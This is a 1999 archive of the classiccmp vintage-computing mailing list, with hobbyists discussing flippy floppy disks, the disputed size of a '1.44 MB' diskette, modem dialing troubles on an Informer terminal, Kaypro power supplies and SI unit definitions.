S'pose that was so they could sell you more disks, or was there some truth to that? I can think of very few home units which had vertically mounted drives... Trash-80's are all that come to mind. P Manney >"Flippy": The second side can often be used in a single sided drive by >flipping the disk over. In the case of Apple ][ and Commodore, it >requires punching a write enable notch. (Which does NOT need to be square.) >On TRS-80, IBM, etc, it is necessary to also punch an additional >(symmetric) access hole for the index hole. (jigs for marking and >punching used to be available.) From mbg at world.std.com Fri Jan 22 11:15:44 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:25 2005 Subject: OT: Need info on a PCI board Message-ID: <199901221715.AA09097@world.std.com> Yes, I know, this is way off-topic, but the board I recently obtained is unique... I was hoping someone on this list might be able to give me an off-line pointer to info... I obtained a PCI board produced by Evans and Sutherland which is labelled 'RealImage 1000' and appears to be VGA compatible. In an Alpha 600au, it identifies as Eclipse 4D30T... it has an angled slot for a DIMM module, and I know the board comes in 20 Mb and 32 Mb configurations. I apparently supports (or is supported by) OpenGL... I'd like to get as much bits 'n bytes (tm) level programming info on this board, as well as information on what sort of DIMM I need. The 32 Mb Dimm I have doesn't look anything like the one I see in a picture of the board, so maybe some of the 32 Mb is already on-board. Anyway, anyone with any information on this board, please contact me, I'd like to see if I can get it running on my Linux box. Thanks in advance... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From Hans.Franke at mch20.sbs.de Fri Jan 22 12:15:15 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:25 2005 Subject: ten year rule. In-Reply-To: References: from "Max Eskin" at Jan 20, 99 07:20:51 pm Message-ID: <199901221716.RAA06391@nixpbe.pdb.sni.de> > > On Wed, 20 Jan 1999, Tony Duell wrote: > > > Current machines aren't like that at all. So I am wondering if there will > > > be any '10 year old' machines in 2009 or whenever. I bet some of us are > > > still discussing PDP11s and PDP8s and PERQs and CDCs and.... in that year :-) > > If someone has an honest question about a 10-year-old computer, by all > > means, let them ask. But, there isn't too much traffic on this list about > Oh sure. I am not trying to flame anyone for talking about 10-year old > PCs. They are _certainly_ on-topic here. > My comments were more that I wonder if there will be any 10-year old PCs > in the future. My guess is that a lot of the machines that we now > consider classic will still be running in 10 years time - they're made of > standard parts, repair manuals exist, etc. But will the current machines > still exist? I think thee will. The nect generation will again be more complex and less easy to understand. Just think, the IBM is some 15 years old, now go abou half way back in time - A Super High Class PC was a 486 with ISA slots and an ET4000 VGA - Already _way_way_ apart from the first PC, XT or AT - even way away from an AT386, if you look at the motherboard design or the integration level. From george at racsys.rt.rain.com Fri Jan 22 11:36:10 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <01be461e$ec6110a0$01bfbfbf@toshiba-115cs> Message-ID: Made sense to me... In my meager days (while going to school) I turned over and used Apple ][ floppy's. I wouldn't say they didn't hold up but I did have enough disk errors on diskettes I did this with to decide to quit the practice. And yes I do wish I had not ever done this. George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Fri, 22 Jan 1999, PG Manney wrote: > My heathkit H-89, which used SSHS mounted vertically, had a note in the > manual that using +ACI-flippy+ACI- diskettes was not recommended, as dirt and > suchlike (which collects on the liner during normal operation) was likely > to fall out if the disk were flipped, and thus run backwards. > > S'pose that was so they could sell you more disks, or was there some truth > to that? > > I can think of very few home units which had vertically mounted drives... > Trash-80's are all that come to mind. > > P Manney > > +AD4AIg-Flippy+ACI-: The second side can often be used in a single sided drive by > +AD4-flipping the disk over. In the case of Apple +AF0AWw- and Commodore, it > +AD4-requires punching a write enable notch. (Which does NOT need to be square.) > +AD4-On TRS-80, IBM, etc, it is necessary to also punch an additional > +AD4-(symmetric) access hole for the index hole. (jigs for marking and > +AD4-punching used to be available.) > > > From cmcmanis at freegate.com Fri Jan 22 11:22:54 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:25 2005 Subject: Berman prices In-Reply-To: <80256701.004B195D.00@WESTD90.pgen.co.uk> Message-ID: <4.1.19990122091919.00b13260@mailhost.hq.freegate.com> At 01:41 PM 1/22/99 +0100, Philip wrote: >> A pallet of Tektronix plugins $297 >Any Idea what the Tek plugins were and how many? There were 25 plugins. 10 were vertical amplifiers (effectively single channel inputs), four were trigger/timebases, a few differential amplifiers (not sure what those were), one dual wide "spectrum analyzer", and some others I didn't bother to catalog. Berman recently liquidated a scope repair facility, they have had several pallets of scopes (like Tek 2215's) marked "Do not fix, customer declined repair quote". This last on they has a few 'frames as well 7844's I believe. --Chuck From SUPRDAVE at aol.com Fri Jan 22 11:27:15 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: In a message dated 1/22/99 9:19:59 AM Pacific Standard Time, george@racsys.rt.rain.com writes: << Made sense to me... In my meager days (while going to school) I turned over and used Apple ][ floppy's. I wouldn't say they didn't hold up but I did have enough disk errors on diskettes I did this with to decide to quit the practice. And yes I do wish I had not ever done this. >> i made many disks flippies so i didnt have to carry so many around and never had a disk failure. Of course, i always bought double sided disks instead of single side disks since supposedly both sides were certified error free rather than just one side. david From Hans.Franke at mch20.sbs.de Fri Jan 22 12:32:57 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: References: <01be461e$ec6110a0$01bfbfbf@toshiba-115cs> Message-ID: <199901221733.RAA06716@nixpbe.pdb.sni.de> Date sent: Fri, 22 Jan 1999 09:36:10 -0800 (PST) Send reply to: classiccmp@u.washington.edu > Made sense to me... In my meager days (while going to school) I turned > over and used Apple ][ floppy's. I wouldn't say they didn't hold up but I > did have enough disk errors on diskettes I did this with to decide to quit > the practice. > And yes I do wish I had not ever done this. Shure ? I had the feeling an Disk ][ drive could write and almost anything including a Bierfilzl - I had (or better still have) more than 1200 A2 Disks, most of them 'double' sided and only one time a read error - and this disk was one of the single siders (I still can go mad about that Disk - I lost the result of a 2 days and nights programming session (not to mention I lost also money, since the deadline had to be changed). I guess most of the disks are still readable - at least when ever I power up my A2 I can start what ever I want. Gruss H. -- Ich denke, also bin ich, also gut HRK From g at kurico.com Fri Jan 22 11:33:22 1999 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <199901220432.AA17098@world.std.com> Message-ID: > > There ain't no sech thing as a 1.44M disk. The IBM style of HD > >3.5has 2 sides, 80 tracks per side, 18 sectors per track, and 512 bytes > >per sector. If you multiply that out, you get 1.406 HONEST Megabytes > >(1048576). The only way to get 1.44 out of that is to creatively > >redefine a Megabyte to be 1024000 bytes. That leaves IBM in the position > >of claiming that a megabyte of memory is 1048576 bytes, but that a > >megabyte of disk space is 1024000 bytes! If IBM ran a donut shop, how > >many donuts would there be in a dozen??? Not to stick up for IBM, but the fact is that most drive manufacturers use 1000000 bytes to represent a megabyte since that will yield a larger XXXMB value than using 1024000 (a thousand K's) or 1048576 (a K worth of K's). Just check the specs of any manufacturer to see. On a side note, I had always understood that a megabyte was the latter (a k k's). After all, why would we suddenly switch from our nice little power of 2 representation at a megabyte over to the evil world of decimal? It would be way weird to say that 16MB RAM != 16MB disk storage. George From doug at blinkenlights.com Fri Jan 22 11:38:42 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:25 2005 Subject: Kaypro 2000 (was Re: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Don Maslin wrote: > > But then I'd want to add the Compaq portable and the Kaypro 2000 and soon > > we'd be right back to where we are. ^^^^^^^^^^^ > /\ > Speaking of which, who can give me the pinout and voltages for the > external power supply for the 2000? A classic if ever there was one. I seem to recall that you have a 2000+, so there's no guarantee my 2000 PS matches, but mine is 7.3 VDC, 2 A, center negative. -- Doug From dastar at ncal.verio.com Fri Jan 22 11:51:13 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:25 2005 Subject: Informer(terminal) modem problem In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Colan Mitchell wrote: > Thanks for the extensive reply. I would love it if a Telco Van was left > unattended outside my house! Anyway, yes I've a second line and what > happens is that it does ring but when I answer it (feeling rather besides > myself) there is dead air. What I'm dialing, other than myself, is a > freenet as it can handle 300 bps. That seems to be academic though as > there doesn't seem to be any indication of an attempt at handshaking. The > freenet takes more than 2 or three rings to connect as well. Ok, well that gives a clue (the fact that freenet takes more than 2 rings to connect, which is dumb but oh well). Perhaps the Informer is suffering from premature rejection, ie. it's timing out too fast when it doesn't see a carrier within two rings. Does the Informer use AT commands to dial the modem? If so then it probably has an S parameter to set the carrier timeout period. I don't know what the S command is though right off hand and my modem is tied up right now writing this memo to you so I can't do an ATS?. Maybe I have a modem manual nearby. Ok, here it is. ATS6 stores the number of seconds the modem will wait for carrier. The default is generally 60. But to be sure, enter in ATS6=60 before dialing the freenet number and see if that changes anything. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From jpl15 at netcom.com Fri Jan 22 11:57:06 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:25 2005 Subject: Informer(terminal) modem problem In-Reply-To: Message-ID: Here's a thought re: the modem not drawing dial tone... I have had this problem in the distant past when the modem was in 'Answer' mode instead of 'Call' mode... usually a Hayes modem only reports "RING' when an incoming call is detected. Maybe this will help.. Cheerz John From dastar at ncal.verio.com Fri Jan 22 11:57:46 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, George Rachor wrote: > Made sense to me... In my meager days (while going to school) I turned > over and used Apple ][ floppy's. I wouldn't say they didn't hold up but I > did have enough disk errors on diskettes I did this with to decide to quit > the practice. > > And yes I do wish I had not ever done this. I have no idea what this commotion is about. I've always, always notched my diskettes on my Apple II and used both sides. Hell, EVERYONE did. Who didn't? If you weren't then you were wasting a perfectly good side of the disk. I haven't bulk checked my Apple software collection recently (~500 disks) but every so often I do pull out an old disk with my teen-hood programs on it to reminisce and they load fine. And every now and then I'll pull out an old game to play and it works great. All my disks are anywhere from 10-15 years old. So I guess I should avoid being cocky about it since I'm at the theoretical threshold. Although I have pulled out a couple disks once or twice that seemed to be suffering from some bit rot, but I have a technique I use that generally lets me recover bad sectors with pretty decent success rates. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From kurtkilgor at bigfoot.com Fri Jan 22 11:57:39 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:25 2005 Subject: OT: Alien Media (was Disasters and Recovery) References: <80256701.0047D33C.00@WESTD90.pgen.co.uk> Message-ID: <36A8BC13.77AD4870@bigfoot.com> Philip.Belben@pgen.com wrote: > Metre, Kilogram, Second, Ampere, Kelvin, Mole and Candela (normally Kilogram? Why not gram? From kurtkilgor at bigfoot.com Fri Jan 22 11:57:46 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:25 2005 Subject: ten year rule. References: from "Max Eskin" at Jan 20, 99 07:20:51 pm <199901221716.RAA06391@nixpbe.pdb.sni.de> Message-ID: <36A8BC1A.F7C350CD@bigfoot.com> Hans Franke wrote: > But we can agree that he is already _old_ and outdated ? The > situation is a bit like in the mid 80s, when people, that > bought PETs where considered as 'stupid' or poor - why not a > C64 or an Atari ST ? Or who cared about altair in 1988 ? They > where just old (about 10 years), outdated and slow computers. I think that there is a slight difference. The PET or whatever is distinctive. If you sat down behind a startup screen of a PET, you could tell it's a PET (or at least a CBM machine). If you sat behind a startup screen of a PC, you could at most tell the company that made it, if you didn't miss the POST readout. If you missed it, you would know that it's running M$ software and that's it. This is why I doubt that anyone would be nostalgic over a specific clone; because they are all very similar and the differences are almost always more trouble than they're worth. From dastar at ncal.verio.com Fri Jan 22 12:01:03 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999 SUPRDAVE@aol.com wrote: > i made many disks flippies so i didnt have to carry so many around and never > had a disk failure. Of course, i always bought double sided disks instead of > single side disks since supposedly both sides were certified error free rather > than just one side. I never bought stupid double-sided disks. I always just bought bulk single-sided thru mail order and used my handy-dandy disk notcher on them. I never had a problem with disks going bad. Those same disks are still holding out today. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From cisin at xenosoft.com Fri Jan 22 12:08:06 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <199901220448.AA28810@world.std.com> Message-ID: On Thu, 21 Jan 1999, Megan wrote: > Following up to my own post... > I think the problem with '1.44 Mb' is that IBM chose to refer to > the exact number of bytes without using the power-of-two term > properly. If so, how does 1474560 become 1.44M, not 1.47M? The only way is to mix the terms, and use 1024000 as a meg! That is NEITHER the power of ten, NOR the power of two. In addition, it is NOT what they then use to measure memory! -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From doug at blinkenlights.com Fri Jan 22 12:10:41 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:26 2005 Subject: ten year rule. In-Reply-To: <36A8BC1A.F7C350CD@bigfoot.com> Message-ID: On Fri, 22 Jan 1999, Max Eskin wrote: > I think that there is a slight difference. The PET or whatever is > distinctive. If you sat down behind a startup screen of a PET, you could > tell it's a PET (or at least a CBM machine). If you sat behind a startup > screen of a PC, you could at most tell the company that made it, if you > didn't miss the POST readout. Let us not forget the *amazing* diversity of form in the PC market in the last 10 years! I have laptops, pen-based machines, hermetically sealed touchscreen boxes, handhelds, luggables, even credit card PCs that are distinctly classics and generally less than even 10 years olds. -- Doug From dastar at ncal.verio.com Fri Jan 22 12:15:24 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: ten year rule. In-Reply-To: <36A8BC1A.F7C350CD@bigfoot.com> Message-ID: On Fri, 22 Jan 1999, Max Eskin wrote: > screen of a PC, you could at most tell the company that made it, if you > didn't miss the POST readout. If you missed it, you would know that it's > running M$ software and that's it. This is why I doubt that anyone would > be nostalgic over a specific clone; because they are all very similar > and the differences are almost always more trouble than they're worth. DOn't forget that a lot of name-brand machines, like Compaq, Dell, NEC, Sony, Gateway, Acer, HP, IBM, etc. started to come out with very distinctive designs for their cases, some with crazy colors (the Sony), and with neat features like built-in ZIP drives, built-in TV tuners, etc. So these are the features that will distinctions mid-90s and on PCs from each other as we move on to the 10 year mark for those machines. There will be some interest in those at some point, if anything as an example of the "modern" PC computer boom. And as Hans pointed out, there's all sorts of special hardware like video boards, SCSI boards, video-capture, sound, etc. that people added to these computers that were cool for their time, or firsts. So those definitely will be collectable. For every S-100 board I have right now that I think are all cool, I'm sure at some point they became rather mundane, like a PC board is to me today, to the point that the original owners were willing to sell them to me for next to nothing, or give them to me in a lot of cases. I don't think twice about giving away an ISA card today, but 10 or 20 years from now when they're selling for $100 a pop on ebay I'll be one sorry asshole. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From Hans.Franke at mch20.sbs.de Fri Jan 22 13:15:49 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: References: <802566FF.00594B60.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 20, 99 04:17:57 pm Message-ID: <199901221816.SAA07572@nixpbe.pdb.sni.de> > > > If not, how would you define a 'volt'? In terms of the steps on a > > > microwave-excited Josephson Junction? It's reproducable, and > > > frequency/time is also easy to define. > > I was thinking of defining it in terms of a bandgap, such as used in > > precision reference "diodes". > I think a Josephson Junction is easier to make, actually. The only real > problem is you need something around liquid helium temperature (you need > a superconducting metal IIRC). Apart from that, all the rest of the stuff > is pretty easy to make. > Of course for something like describing the supply voltages and logic > thresholds of a chip, you don't need that much accuracy. Describing how > to make a weston standard cell and its voltage (at a given temperature) > would be massive overkill. I would think that describing how to make > _any_ common cell and specifying its open-circuit voltage would be good > enough. Excuse me if I interupt, but you are talking about measuring a specific voltage. But thats completly independant from the definition. Only if you want to define Volt based on some specific reproduceable effect - but thats not necesaty. To get all electrical units you just need the 7 basic SI units (Length, Weight, Time, Current, Temperature, Brightnes (?) and Mol (sorry, no idea how to translate Stoffmasse)) and only one is an electric unit (the Ampere). And only these 7 units have to be defined on specific, reproducable effects. 1V is defined as 1 kg m^2 / A s^2. Gruss H. -- Ich denke, also bin ich, also gut HRK From cswiger at wilma.widomaker.com Fri Jan 22 12:26:13 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:26 2005 Subject: Informer(terminal) modem problem Message-ID: >unattended outside my house! Anyway, yes I've a >second line and what happens is that it does ring >but when I answer it (feeling rather besides myself) >there is dead air. What I'm dialing, other than myself, is a If you really want to feel funny, sometimes you can whistle into the phone, experiment with the pitch and trick the calling modem enough to get *IT* to start squealing. Of course, the ultimate test would be to set up a modem to answer on your 2nd line and troubleshoot from there. Chuck cswiger@widomaker.com From cisin at xenosoft.com Fri Jan 22 12:27:27 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:26 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <199901220432.AA17098@world.std.com> Message-ID: Before going any further, answer, AND WRITE DOWN YOUR ANSWERS, to the following questions: 1. What is a "megabyte"? 2. How many bytes are there in a "megabyte of memory"? 3. How many bytes are there in a "megabyte of disk storage"? OK, you didn't really write them down, but we'll continue anyway. On Thu, 21 Jan 1999, Megan wrote: > Hmm... then why does a chkdsk a: on a '1.44' drive and disk return > the following: > 1,457,664 bytes total disk space > You had better check *your* math! Thank you. I HAVE. We are both capable of arithmetic. How many bytes are in a "Megabyte"? > 2 * 80 * 18 * 512 = 1474560 That part is RIGHT! > Sure looks like at least 1.44 Mb to me! Interesting! How many bytes do YOU have in a "Megabyte of disk"? IF you had 1,000,000 bytes per "Megabyte" (like Sam), then 1474560/1000000 => 1.474560 Megabytes, ABOUT 1.47, NOT 1.44! AND, the last time you bought a "Megabyte of memory", you got 1.048576 Meg! [Sam: what books WOULD you consider to be "authoritative"? Mmmmm PANCAKES!] IF you had 1046576 bytes per "Megabyte" (2^20, 1K K, ...) then 1474560/1048576 => 1.40625 "HONEST Megabytes". AND, the last time you bought a "Megabyte of memory", you got 1.000 Meg. If you had 1024000 bytes per "Megabyte", then 1474560/1024000 => 1.44 Megabytes! But could you please explain how you arrive at 1024000 as the size of a "Megabyte"? Do you use the same number for memory? If so, then the last time you bought a "Megabyte of memory", you got 1.024 Meg! And your 64 Meg computer has 65.536 Meg of RAM! If you use different numbers of bytes in a "Megabyte of disk" than you do in a "Megabyte of memory", do you work for IBM? How many doughnuts are in a dozen [Mmmm. doughnuts]? How many in a "baker's dozen"? There are legitimate arguments for using 2^20 (1048576). There are legitimate arguments for using 10^6 (1000000). Is there any legitimate reason to use 1024000? And to use it selectively for diskettes, but to use a different value (1048576) for memory? OB_10-year: for 20 years we struggled with companies that claimed that THEIR computer was better than the competition, because THEIRs had 65.5K of RAM. Now that we've finally won the battle of how many bytes in a "Kilobyte", we are LOSING the battle of how many bytes are in a "Megabyte". -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From cisin at xenosoft.com Fri Jan 22 12:33:15 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Thu, 21 Jan 1999, Sam Ismail wrote: > No, a megabyte is not a power of two number. A megabyte = 1,000,000 > bytes. So 1.44 megabytes = 1.44 million bytes = roughly 1,440,000 bytes. > So 1.44MB disk drive is not a misnomer. Since those disks have a formatted capacity of 1,474,560, how do you arrive at 1.44 not being a misnomer? It would seem to me that using 1,000,000 bytes per megabyte would make that 1.47, not 1.44. Could you explain? -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From Hans.Franke at mch20.sbs.de Fri Jan 22 13:34:30 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <36A8BC13.77AD4870@bigfoot.com> Message-ID: <199901221835.SAA07966@nixpbe.pdb.sni.de> > Philip.Belben@pgen.com wrote: > > Metre, Kilogram, Second, Ampere, Kelvin, Mole and Candela (normally > Kilogram? Why not gram? Since the base unit is the Kilogram. As Philip said, the Mass is still defined by the artefact kilogram in Paris - there is no other definition until now. BTW: Tey are about to replace the 'first' Kilogram by a new model, made from a single Silicon cristal. Since, if the process of 'building' a prototype Kilogram artefact can be better defined, a higher accuracy can be reached. This is part of the international Avogadro project to redefine the Kilogram via a non prototype artefact method. For example, within a cristal the number of Si atoms can be determinated - now the kg (or g) can be based on the Mole (via the definition of usin Si and a fixed number). Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 22 13:36:06 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <36A8BC13.77AD4870@bigfoot.com> Message-ID: <199901221837.SAA07977@nixpbe.pdb.sni.de> > Kilogram? Why not gram? Take a look at http://www.ptb.de/english/org/q/q2/q201/hp.htm BTW: the PTB is a real good source of information - and visit them on one of their 'open house' days is a _must_. Gruss H. -- Ich denke, also bin ich, also gut HRK From dastar at ncal.verio.com Fri Jan 22 12:48:53 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Fred Cisin (XenoSoft) wrote: > IF you had 1,000,000 bytes per "Megabyte" (like Sam), then > 1474560/1000000 => 1.474560 Megabytes, ABOUT 1.47, NOT 1.44! > AND, the last time you bought a "Megabyte of memory", you got 1.048576 Meg! > [Sam: what books WOULD you consider to be "authoritative"? Mmmmm PANCAKES!] They sure are yummy!!! I see your point now. Can I take my foot out of my mouth? > OB_10-year: for 20 years we struggled with companies that claimed that > THEIR computer was better than the competition, because THEIRs had 65.5K > of RAM. Now that we've finally won the battle of how many bytes in a > "Kilobyte", we are LOSING the battle of how many bytes are in a "Megabyte". Well by golly we must reclaim the megabyte by boycotting companies that abuse it like that horrid IBM!! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From Hans.Franke at mch20.sbs.de Fri Jan 22 13:48:10 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:26 2005 Subject: kg (was:: Alien Media (was Disasters and Recovery)) In-Reply-To: <199901221837.SAA07977@nixpbe.pdb.sni.de> References: <36A8BC13.77AD4870@bigfoot.com> Message-ID: <199901221849.SAA08208@nixpbe.pdb.sni.de> > > Kilogram? Why not gram? > > Take a look at http://www.ptb.de/english/org/q/q2/q201/hp.htm > BTW: the PTB is a real good source of information - and visit > them on one of their 'open house' days is a _must_. The BIPM has also a nice wb site at www.bipm.fr - less technical. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 22 13:53:17 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:26 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: References: Message-ID: <199901221854.SAA08305@nixpbe.pdb.sni.de> > > OB_10-year: for 20 years we struggled with companies that claimed that > > THEIR computer was better than the competition, because THEIRs had 65.5K > > of RAM. Now that we've finally won the battle of how many bytes in a > > "Kilobyte", we are LOSING the battle of how many bytes are in a "Megabyte". > Well by golly we must reclaim the megabyte by boycotting companies that > abuse it like that horrid IBM!! Waht do you want ? Sell 64K, but call the price for 65.5 k is bad, But isn't it a good thing to get 1.05 Meg, while you are only paying 1 Meg ? Hey, I call this a bargain ! Gruss H. -- Ich denke, also bin ich, also gut HRK From cisin at xenosoft.com Fri Jan 22 13:14:54 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:26 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Sam Ismail wrote: > > [Sam: what books WOULD you consider to be "authoritative"? Mmmmm PANCAKES!] > They sure are yummy!!! > I see your point now. Can I take my foot out of my mouth? Sure! But who'll supply the pancakes? Every previous time that I have ever ranted about 1.4M, people have responded by quoting IBM or the disk box. THIS group responds with arithmetic and logic. BTW, FDISK.EXE uses 1048576 for Megabyte. There is some justification for 1,000,000, and a "Megahertz" is, indeed 1,000,000 hertz. But I don't like to use 1,000,000 for bytes, and it doesn't fit the "1.44" either. There MIGHT BE a justification for the 1024000 number. I've never heard it, but would be very interested. How about people who state that "Megabyte" != "megabyte"? Are those really two different units of measure? [apology: I failed to include a tag at the end of my last html.] > Well by golly we must reclaim the megabyte by boycotting companies that > abuse it like that horrid IBM!! THAT is something that we are all more likely to agree with! If IBM ran a doughnut shop, how many WOULD be in a dozen?? -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From eric at brouhaha.com Fri Jan 22 13:22:37 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:26 2005 Subject: Bubble Memeory was Re: eBay Finds (was: Ebay Posts was...) In-Reply-To: <000401be4605$c03174c0$41f438cb@a.davie> (adavie@mad.scientist.com) References: <000401be4605$c03174c0$41f438cb@a.davie> Message-ID: <19990122192237.32602.qmail@brouhaha.com> > The board itself is marked Hitachi. Now that you mention it, I think I do recall that Hitachi had announced bubble memory devices. I've never seen one. > I can't get to the bubble memory chip because it has a metal shield > spot-welded around it. Wrapped around 4 of the 6 sides, so to speak. I've > tried removing this sort of thing before - nigh impossible without a chisel, > and I'm not about to do that. The shield is part of the chip packaging, not something that was added for the cartridge. I'm surprised that the label on the top didn't have an obvious manufacturer name or logo. From donm at cts.com Fri Jan 22 13:34:54 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:26 2005 Subject: Kaypro 2000 (was Re: [OT] Re: IE 4/Office 97 Security Hole In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Doug wrote: > On Thu, 21 Jan 1999, Don Maslin wrote: > > > > But then I'd want to add the Compaq portable and the Kaypro 2000 and soon > > > we'd be right back to where we are. ^^^^^^^^^^^ > > /\ > > Speaking of which, who can give me the pinout and voltages for the > > external power supply for the 2000? > > A classic if ever there was one. I seem to recall that you have a 2000+, > so there's no guarantee my 2000 PS matches, but mine is 7.3 VDC, 2 A, > center negative. > > -- Doug That's right, I had forgotten that I had floated that query before. The problem is that the 2000+ uses a 5-pin DIN connector :( - don From eric at brouhaha.com Fri Jan 22 13:35:58 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:26 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: (cisin@xenosoft.com) References: Message-ID: <19990122193558.32678.qmail@brouhaha.com> > THAT is something that we are all more likely to agree with! If IBM ran > a doughnut shop, how many WOULD be in a dozen?? I'm not sure, but maybe they'd have 156 in a gross. From dastar at ncal.verio.com Fri Jan 22 13:36:20 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Fred Cisin (XenoSoft) wrote: > There MIGHT BE a justification for the 1024000 number. I've never heard > it, but would be very interested. I'm sure its 1000K, or 1000 * 1024 = 1024000 bytes. As lame a definition as can be. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From cmcmanis at freegate.com Fri Jan 